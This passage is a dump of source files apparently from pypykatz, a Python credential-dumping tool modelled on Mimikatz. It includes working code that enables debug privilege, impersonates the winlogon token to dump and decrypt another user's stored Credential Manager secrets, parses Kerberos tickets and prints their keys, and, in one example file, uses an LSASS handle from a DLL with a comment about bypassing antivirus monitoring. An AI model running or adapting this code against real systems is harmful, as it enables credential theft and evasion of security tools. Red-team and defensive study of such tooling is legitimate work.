continue 117 | 118 | return lsass_handles 119 | -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/function_defs/privileges.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import ctypes 8 | from ctypes import windll 9 | from ctypes.wintypes import ULONG, BOOL,LONG 10 | 11 | from .privileges_types import * 12 | 13 | STATUS_SUCCESS = 0 14 | NTSTATUS = LONG 15 | POINTER = ctypes.POINTER 16 | 17 | def NtError(status): 18 | """ 19 | Converts NTSTATUS codes into WinError codes 20 | """ 21 | err = windll.ntdll.RtlNtStatusToDosError(status) 22 | return ctypes.WinError(err) 23 | 24 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html 25 | # BOOL WINAPI RtlAdjustPrivilege( 26 | # __in ULONG Privilege, 27 | # __in BOOLEAN Enable, 28 | # __in BOOLEAN CurrentThread, 29 | # __in PBOOLEAN Enabled, 30 | # ); 31 | def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): 32 | """ 33 | privilige_id: int 34 | """ 35 | _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege 36 | _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] 37 | _RtlAdjustPrivilege.restype = NTSTATUS 38 | 39 | CurrentThread = thread_or_process #enable for whole process 40 | Enabled = BOOL() 41 | 42 | status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled)) 43 | if status != STATUS_SUCCESS: 44 | raise Exception(NtError(status)) 45 | 46 | return True 47 | 48 | def enable_debug_privilege(): 49 | """ 50 | Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably) 51 | """ 52 | RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value) 53 | 54 | if __name__ == '__main__': 55 | enable_debug_privilege() -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/function_defs/winreg.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import winreg 3 | from pypykatz.commons.readers.local.common.defines import * 4 | 5 | # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya 6 | def RegOpenKey(key_handle, key_path): 7 | _RegOpenKey = windll.Advapi32.RegOpenKeyA 8 | _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE] 9 | _RegOpenKey.restype = bool 10 | _RegOpenKey.errcheck = RaiseIfNotZero 11 | 12 | lpClass = ctypes.create_string_buffer(key_path.encode()) 13 | key_handle_new = HANDLE() 14 | 15 | res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new)) 16 | 17 | return key_handle_new 18 | 19 | # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya 20 | def RegQueryInfoKey(key_handle): 21 | _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA 22 | _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID] 23 | _RegQueryInfoKey.restype = bool 24 | _RegQueryInfoKey.errcheck = RaiseIfNotZero 25 | 26 | lpClass = ctypes.create_string_buffer(b"", 255) 27 | lpcchClass = DWORD(255) 28 | lpReserved = DWORD(0) 29 | lpcSubKeys = DWORD(0) 30 | lpcbMaxSubKeyLen = DWORD(0) 31 | lpcbMaxClassLen = DWORD(0) 32 | lpcValues = DWORD(0) 33 | lpcbMaxValueNameLen = DWORD(0) 34 | lpcbMaxValueLen = DWORD(0) 35 | lpcbSecurityDescriptor = DWORD(0) 36 | lpftLastWriteTime = None 37 | 38 | res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) 39 | 40 | return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, 41 | lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, 42 | lpcbSecurityDescriptor, lpftLastWriteTime) 43 | 44 | if __name__ == '__main__': 45 | pkey = winreg.HKEY_LOCAL_MACHINE 46 | for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'): 47 | pkey = RegOpenKey(pkey, name) 48 | 49 | ki = RegQueryInfoKey(pkey) 50 | print(ki[0]) 51 | -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/kernel32.py: -------------------------------------------------------------------------------- 1 | from pypykatz.commons.winapi.local.function_defs.kernel32 import OpenProcess, CloseHandle, GetCurrentProcessId 2 | 3 | 4 | class KERNEL32: 5 | def __init__(self): 6 | pass 7 | 8 | @staticmethod 9 | def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): 10 | return OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId) 11 | 12 | @staticmethod 13 | def CloseHandle(any_handle): 14 | CloseHandle(any_handle) 15 | 16 | @staticmethod 17 | def GetCurrentProcessId(): 18 | return GetCurrentProcessId() -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/localwindowsapi.py: -------------------------------------------------------------------------------- 1 | 2 | from pypykatz.commons.winapi.local.ntdll import NTDLL 3 | from pypykatz.commons.winapi.local.advapi32 import ADVAPI32 4 | from pypykatz.commons.winapi.local.psapi import PSAPI 5 | from pypykatz.commons.winapi.local.kernel32 import KERNEL32 6 | 7 | class LocalWindowsAPI: 8 | def __init__(self): 9 | self.ntdll = NTDLL 10 | self.advapi32 = ADVAPI32 11 | self.psapi = PSAPI 12 | self.kernel32 = KERNEL32 -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/ntdll.py: -------------------------------------------------------------------------------- 1 | 2 | from pypykatz.commons.winapi.local.function_defs.ntdll import RtlAdjustPrivilege 3 | 4 | 5 | class NTDLL: 6 | def __init__(self): 7 | pass 8 | 9 | @staticmethod 10 | def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): 11 | return RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False) -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/psapi.py: -------------------------------------------------------------------------------- 1 | from pypykatz.commons.winapi.local.function_defs.psapi import EnumProcesses 2 | 3 | 4 | class PSAPI: 5 | def __init__(self): 6 | pass 7 | 8 | @staticmethod 9 | def EnumProcesses(): 10 | return EnumProcesses() 11 | -------------------------------------------------------------------------------- /pypykatz/commons/winapi/machine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import platform 7 | from pypykatz import logger 8 | import winreg 9 | 10 | from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI 11 | from pypykatz.commons.winapi.constants import * 12 | from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive 13 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE 14 | 15 | class User: 16 | def __init__(self, name, domain, sid): 17 | self.username = name 18 | self.domain = domain 19 | self.sid = sid 20 | 21 | def __str__(self): 22 | return '%s:%s:%s' % (str(self.domain), str(self.username), str(self.sid)) 23 | 24 | class LiveMachine: 25 | """ 26 | 27 | """ 28 | def __init__(self, api = None): 29 | self.api = api if api is not None else LocalWindowsAPI() 30 | self.domain = None 31 | self.hostname = None 32 | 33 | def get_hostname(self): 34 | if self.hostname is None: 35 | params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters') 36 | self.hostname = winreg.QueryValueEx(params, 'NV Hostname')[0] 37 | return self.hostname 38 | 39 | def get_domain(self): 40 | if self.domain is None: 41 | params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters') 42 | self.domain = winreg.QueryValueEx(params, 'Domain')[0] 43 | return self.domain 44 | 45 | def get_current_user(self): 46 | pid = self.api.kernel32.GetCurrentProcessId() 47 | proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) 48 | token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) 49 | ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) 50 | sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) 51 | name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) 52 | return User(name, domain, sid_str) 53 | 54 | def list_users(self): 55 | logger.debug('Listing SIDs from registry...') 56 | software_hive = LiveRegistryHive('SOFTWARE') 57 | users = {} 58 | for sid_str in software_hive.enum_key('Microsoft\\Windows NT\\CurrentVersion\\ProfileList'): 59 | if sid_str.endswith('_Classes') or sid_str.startswith('.'): 60 | continue 61 | ptr_sid = self.api.advapi32.ConvertStringSidToSid(sid_str.encode()) 62 | name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) 63 | users[sid_str] = User(name, domain, sid_str) 64 | return users 65 | 66 | #def list_services(self): 67 | # logger.debug('Listing services...') 68 | # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) 69 | # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr): 70 | # print(serviceattr.lpServiceName) 71 | # print(serviceattr.lpDisplayName) 72 | # print(serviceattr.ServiceStatus.dwServiceType) 73 | # 74 | # 75 | # status = '' 76 | # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING: 77 | # status = 'PENDING' 78 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING: 79 | # status = 'PENDINGPAUSE' 80 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED: 81 | # status = 'PAUSED' 82 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING: 83 | # status = 'RUNNING' 84 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING: 85 | # status = 'PENDINGSTART' 86 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING: 87 | # status = 'PENDINGSTOP' 88 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED: 89 | # status = 'STOPPED' 90 | # 91 | # print(status) 92 | 93 | def list_services_pid(self): 94 | logger.debug('Listing services with pid...') 95 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) 96 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): 97 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: 98 | continue 99 | yield serviceattr.ServiceStatusProcess.dwProcessId 100 | 101 | def list_services(self): 102 | logger.debug('Listing services with pid...') 103 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) 104 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): 105 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: 106 | continue 107 | yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId 108 | 109 | def list_all_pids(self): 110 | for pid in self.api.psapi.EnumProcesses(): 111 | if pid == 0: 112 | continue 113 | yield pid 114 | 115 | if __name__ == '__main__': 116 | u = LiveMachine() 117 | t = u.list_services() 118 | 119 | #for srv in t: 120 | # print(str(t[sid])) 121 | #t = u.get_current_user() 122 | #print(str(t)) -------------------------------------------------------------------------------- /pypykatz/debugfile.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | import traceback 4 | import asyncio 5 | 6 | from pypykatz.pypykatz import pypykatz 7 | from pypykatz.apypykatz import apypykatz 8 | 9 | class DebugFile: 10 | def __init__(self, filename): 11 | self.filename = filename 12 | self.fh = open(self.filename, 'rb') 13 | 14 | self.reads = [] 15 | self.total_read = 0 16 | 17 | def read(self, n = -1): 18 | #print('READ %s' % n) 19 | self.reads.append((self.fh.tell(), n)) 20 | self.total_read += n 21 | #if n > 1024*40: 22 | # print('READ %s' % n) 23 | # traceback.print_stack() 24 | # input() 25 | return self.fh.read(n) 26 | 27 | def seek(self, n, whence = 0): 28 | #print('SEEK %s %s' % (n, whence)) 29 | return self.fh.seek(n, whence) 30 | 31 | def tell(self): 32 | return self.fh.tell() 33 | 34 | class ADebugFile: 35 | def __init__(self, filename): 36 | self.filename = filename 37 | self.fh = open(self.filename, 'rb') 38 | 39 | self.reads = [] 40 | self.total_read = 0 41 | 42 | async def read(self, n = -1): 43 | #print('READ %s' % n) 44 | self.reads.append((self.fh.tell(), n)) 45 | self.total_read += n 46 | #if n > 1024*40: 47 | # print('READ %s' % n) 48 | # traceback.print_stack() 49 | # input() 50 | return self.fh.read(n) 51 | 52 | async def seek(self, n, whence = 0): 53 | #print('SEEK %s %s' % (n, whence)) 54 | return self.fh.seek(n, whence) 55 | 56 | def tell(self): 57 | return self.fh.tell() 58 | 59 | async def amain(): 60 | for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: 61 | f = ADebugFile(sys.argv[1]) 62 | mimi = await apypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) 63 | res = sorted(f.reads, key=lambda x: x[0]) 64 | i = 0 65 | for pos, n in res: 66 | #print('READ: %s %s' % (pos, n)) 67 | if n < 1024: 68 | i += 1 69 | print('chk : %s' % chk) 70 | print('reads: %s' % len(f.reads)) 71 | print('small reads: %s' % i) 72 | print('total reads: %s' % (f.total_read)) 73 | print('') 74 | print('DONE!') 75 | 76 | 77 | def main(): 78 | for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: 79 | f = DebugFile(sys.argv[1]) 80 | mimi = pypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) 81 | res = sorted(f.reads, key=lambda x: x[0]) 82 | i = 0 83 | for pos, n in res: 84 | #print('READ: %s %s' % (pos, n)) 85 | if n < 1024: 86 | i += 1 87 | print('chk : %s' % chk) 88 | print('reads: %s' % len(f.reads)) 89 | print('small reads: %s' % i) 90 | print('total reads: %s' % (f.total_read)) 91 | print('') 92 | print('DONE!') 93 | 94 | if __name__ == '__main__': 95 | #main() 96 | asyncio.run(amain()) -------------------------------------------------------------------------------- /pypykatz/dpapi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/dpapi/__init__.py -------------------------------------------------------------------------------- /pypykatz/dpapi/extras.py: -------------------------------------------------------------------------------- 1 | # Thank you! 2 | # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html 3 | 4 | import tempfile 5 | import os 6 | 7 | from pypykatz import logger 8 | from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials 9 | from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION 10 | from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege 11 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken 12 | from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData 13 | from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile 14 | 15 | 16 | def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None): 17 | dec_data = None 18 | try: 19 | if temp_file_path is None: 20 | tf = tempfile.NamedTemporaryFile(delete=False) 21 | temp_file_path = tf.name 22 | logger.debug('Temp file path: %s' % temp_file_path) 23 | tf.close() 24 | 25 | enable_debug_privilege() 26 | 27 | ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege 28 | pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) 29 | winlogon_token = pwinlogon.duplicate_token() 30 | SetThreadToken(winlogon_token) 31 | RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31 32 | 33 | 34 | ### opening target process, getting handle on its token 35 | puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) 36 | puserprocess_token = puserprocess.get_process_token() 37 | 38 | ### magic happens here 39 | CredBackupCredentials(puserprocess_token, temp_file_path) 40 | 41 | ### opening encrypted cerentials file and decrypting it 42 | with open(temp_file_path, 'rb') as f: 43 | dec_data = CryptUnprotectData(f.read()) 44 | 45 | 46 | ### parsing decrypted credfile 47 | results = [] 48 | xf = CredentialFile.from_bytes(dec_data) 49 | blobsdata = xf.data 50 | if xf.unk == 2: 51 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) 52 | results.append(res) 53 | blobsdata = blobsdata[res.size:] 54 | while len(blobsdata) > 0: 55 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) 56 | results.append(res) 57 | blobsdata = blobsdata[res.size:] 58 | 59 | return dec_data, results, None 60 | except Exception as e: 61 | logger.debug('dpapi_trustedcredman err! %s' % e) 62 | return dec_data, None, e 63 | finally: 64 | try: 65 | os.unlink(temp_file_path) 66 | logger.debug('Temp file removed') 67 | except Exception as e: 68 | logger.debug('Failed to remove temp file! %s' % str(e)) 69 | pass -------------------------------------------------------------------------------- /pypykatz/dpapi/functiondefs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/dpapi/functiondefs/__init__.py -------------------------------------------------------------------------------- /pypykatz/dpapi/functiondefs/dpapi.py: -------------------------------------------------------------------------------- 1 | from ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError 2 | 3 | LPWSTR = c_wchar_p 4 | LPVOID = c_void_p 5 | PVOID = LPVOID 6 | PPVOID = POINTER(PVOID) 7 | DWORD = c_uint32 8 | 9 | def RaiseIfZero(result, func = None, arguments = ()): 10 | """ 11 | Error checking for most Win32 API calls. 12 | 13 | The function is assumed to return an integer, which is C{0} on error. 14 | In that case the C{WindowsError} exception is raised. 15 | """ 16 | if not result: 17 | raise WinError() 18 | return result 19 | 20 | class DATA_BLOB(Structure): 21 | _fields_ = [ 22 | ('cbData', DWORD), 23 | ('pbData', POINTER(c_char)) 24 | ] 25 | PDATA_BLOB = POINTER(DATA_BLOB) 26 | 27 | # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata 28 | def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False): 29 | _CryptUnprotectData = windll.crypt32.CryptUnprotectData 30 | _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB] 31 | _CryptUnprotectData.restype = bool 32 | _CryptUnprotectData.errcheck = RaiseIfZero 33 | 34 | buffer_in = c_buffer(enc_blob, len(enc_blob)) 35 | blob_in = DATA_BLOB(len(enc_blob), buffer_in) 36 | blob_out = DATA_BLOB() 37 | 38 | if entropy is not None: 39 | buffer_entropy = c_buffer(entropy, len(entropy)) 40 | blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) 41 | _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out)) 42 | else: 43 | _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out)) 44 | 45 | dec_data = string_at(blob_out.pbData, blob_out.cbData) 46 | return dec_data 47 | 48 | if __name__ == '__main__': 49 | enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367') 50 | dec_data = CryptUnprotectData(enc_data) 51 | print(dec_data) -------------------------------------------------------------------------------- /pypykatz/dpapi/structures/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/dpapi/structures/__init__.py -------------------------------------------------------------------------------- /pypykatz/dpapi/structures/system.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import io 8 | import enum 9 | 10 | 11 | class DPAPI_SYSTEM: 12 | def __init__(self): 13 | self.version = None 14 | self.machine_key = None 15 | self.user_key = None 16 | 17 | @staticmethod 18 | def from_bytes(data): 19 | return DPAPI_SYSTEM.from_buffer(io.BytesIO(data)) 20 | 21 | @staticmethod 22 | def from_buffer(buff): 23 | sk = DPAPI_SYSTEM() 24 | sk.version = int.from_bytes(buff.read(4), 'little', signed = False) 25 | sk.machine_key = buff.read(20) 26 | sk.user_key = buff.read(20) 27 | return sk 28 | 29 | def __str__(self): 30 | t = '== DPAPI_SYSTEM ==\r\n' 31 | for k in self.__dict__: 32 | if isinstance(self.__dict__[k], list): 33 | for i, item in enumerate(self.__dict__[k]): 34 | t += ' %s: %s: %s' % (k, i, str(item)) 35 | else: 36 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) 37 | return t -------------------------------------------------------------------------------- /pypykatz/example/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/example/__init__.py -------------------------------------------------------------------------------- /pypykatz/example/phandle_dll.py: -------------------------------------------------------------------------------- 1 | 2 | # 3 | # In case you happen to have a DLL that has an export which returns a handle to LSASS process 4 | # You can use this example to load such DLL via ctypes and call pypykatz using said handle 5 | # Might be interesting to bypass AV monitoring openprocess on LSASS 6 | # 7 | 8 | from ctypes import windll, c_void_p 9 | from pypykatz.pypykatz import pypykatz 10 | 11 | dll_path = '' 12 | 13 | def get_lsass_handle(): 14 | your_dll = windll.LoadLibrary(dll_path) 15 | _your_function = your_dll.your_function 16 | _your_function.argtypes = [] #I guess no args 17 | _your_function.restype = c_void_p #this is basically a handle 18 | 19 | phandle = _your_function() 20 | 21 | return phandle 22 | 23 | 24 | phandle = get_lsass_handle() 25 | res = pypykatz.go_live_phandle(phandle) 26 | print(str(res)) 27 | -------------------------------------------------------------------------------- /pypykatz/kerberos/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/kerberos/__init__.py -------------------------------------------------------------------------------- /pypykatz/kerberos/functiondefs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/kerberos/functiondefs/__init__.py -------------------------------------------------------------------------------- /pypykatz/kerberos/functiondefs/asn1structs.py: -------------------------------------------------------------------------------- 1 | 2 | from asn1crypto import core 3 | from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ 4 | 5 | UNIVERSAL = 0 6 | APPLICATION = 1 7 | CONTEXT = 2 8 | TAG = 'explicit' 9 | 10 | class MechType(core.ObjectIdentifier): 11 | _map = { 12 | #'': 'SNMPv2-SMI::enterprises.311.2.2.30', 13 | '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider', 14 | '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5', 15 | '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5', 16 | '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User', 17 | '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism', 18 | } 19 | 20 | class InitialContextToken(core.Sequence): 21 | class_ = 1 22 | tag = 0 23 | _fields = [ 24 | ('thisMech', MechType, {'optional': False}), 25 | ('unk_bool', core.Boolean, {'optional': False}), 26 | ('innerContextToken', core.Any, {'optional': False}), 27 | ] 28 | 29 | _oid_pair = ('thisMech', 'innerContextToken') 30 | _oid_specs = { 31 | 'KRB5 - Kerberos 5': AP_REQ, 32 | } -------------------------------------------------------------------------------- /pypykatz/kerberos/functiondefs/kernel32.py: -------------------------------------------------------------------------------- 1 | from ctypes import WinError, windll, c_uint32, c_void_p, c_int32 2 | 3 | LPVOID = c_void_p 4 | DWORD = c_uint32 5 | HANDLE = LPVOID 6 | BOOL = c_int32 7 | NULL = None 8 | 9 | PROCESS_QUERY_INFORMATION = 0x0400 10 | PROCESS_VM_READ = 0x0010 11 | MAXIMUM_ALLOWED = 33554432 12 | 13 | 14 | def RaiseIfZero(result, func = None, arguments = ()): 15 | """ 16 | Error checking for most Win32 API calls. 17 | 18 | The function is assumed to return an integer, which is C{0} on error. 19 | In that case the C{WindowsError} exception is raised. 20 | """ 21 | if not result: 22 | raise WinError() 23 | return result 24 | 25 | def CloseHandle(hHandle): 26 | _CloseHandle = windll.kernel32.CloseHandle 27 | _CloseHandle.argtypes = [HANDLE] 28 | _CloseHandle.restype = bool 29 | _CloseHandle.errcheck = RaiseIfZero 30 | _CloseHandle(hHandle) 31 | 32 | # DWORD WINAPI GetCurrentProcessId(void); 33 | def GetCurrentProcessId(): 34 | _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId 35 | _GetCurrentProcessId.argtypes = [] 36 | _GetCurrentProcessId.restype = DWORD 37 | return _GetCurrentProcessId() 38 | 39 | # HANDLE WINAPI OpenProcess( 40 | # __in DWORD dwDesiredAccess, 41 | # __in BOOL bInheritHandle, 42 | # __in DWORD dwProcessId 43 | # ); 44 | def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): 45 | _OpenProcess = windll.kernel32.OpenProcess 46 | _OpenProcess.argtypes = [DWORD, BOOL, DWORD] 47 | _OpenProcess.restype = HANDLE 48 | 49 | hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) 50 | if hProcess == NULL: 51 | raise WinError() 52 | return hProcess -------------------------------------------------------------------------------- /pypykatz/kerberos/kirbiutils.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED 4 | import base64 5 | 6 | def format_kirbi(data, n = 100): 7 | kd = base64.b64encode(data).decode() 8 | return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) 9 | 10 | def describe_kirbi_data(data): 11 | if isinstance(data, bytes): 12 | kirbi = KRB_CRED.load(data).native 13 | elif isinstance(data, dict): 14 | kirbi = data 15 | elif isinstance(data, KRB_CRED): 16 | kirbi = data.native 17 | elif isinstance(data, KRBCRED): 18 | kirbi = data.native 19 | else: 20 | raise Exception('Unknown data type! %s' % type(data)) 21 | 22 | t = '\r\n' 23 | for ticket in kirbi['tickets']: 24 | t += 'Realm : %s\r\n' % ticket['realm'] 25 | t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string']) 26 | 27 | if kirbi['enc-part']['etype'] == 0: 28 | cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native 29 | cred = cred['ticket-info'][0] 30 | username = cred.get('pname') 31 | if username is not None: 32 | username = '/'.join(username['name-string']) 33 | flags = cred.get('flags') 34 | if flags is not None: 35 | flags = ', '.join(flags) 36 | 37 | t += 'UserName : %s\r\n' % username 38 | t += 'UserRealm : %s\r\n' % cred.get('prealm') 39 | t += 'StartTime : %s\r\n' % cred.get('starttime') 40 | t += 'EndTime : %s\r\n' % cred.get('endtime') 41 | t += 'RenewTill : %s\r\n' % cred.get('renew-till') 42 | t += 'Flags : %s\r\n' % flags 43 | t += 'Keytype : %s\r\n' % cred['key']['keytype'] 44 | t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode() 45 | 46 | t += 'EncodedKirbi : \r\n\r\n' 47 | t += format_kirbi(KRB_CRED(kirbi).dump()) 48 | return t 49 | 50 | def print_kirbi(data): 51 | print(describe_kirbi_data(data)) 52 | 53 | 54 | 55 | def parse_kirbi(kirbifile): 56 | with open(kirbifile, 'rb') as f: 57 | print_kirbi(f.read()) -------------------------------------------------------------------------------- /pypykatz/ldap/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/ldap/__init__.py -------------------------------------------------------------------------------- /pypykatz/ldap/cmdhelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from pypykatz import logger 8 | import asyncio 9 | import argparse 10 | import logging 11 | 12 | """ 13 | LDAP is not part of pypykatz directly. 14 | This is a wrapper for msldap 15 | """ 16 | 17 | class LDAPCMDArgs: 18 | def __init__(self): 19 | self.url = None 20 | self.verbose = 0 21 | self.no_interactive = False 22 | self.commands = ['login', 'i'] 23 | 24 | msldap_subcommand_list = [] 25 | msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" ' 26 | 27 | class LDAPCMDHelper: 28 | def __init__(self): 29 | self.live_keywords = ['ldap'] 30 | self.keywords = ['ldap'] 31 | 32 | def add_args(self, parser, live_parser): 33 | ldap_group = parser.add_parser('ldap', help='LDAP related commands') 34 | ldap_subparsers = ldap_group.add_subparsers() 35 | ldap_subparsers.required = True 36 | ldap_subparsers.dest = 'ldap_module' 37 | 38 | ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') 39 | ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, 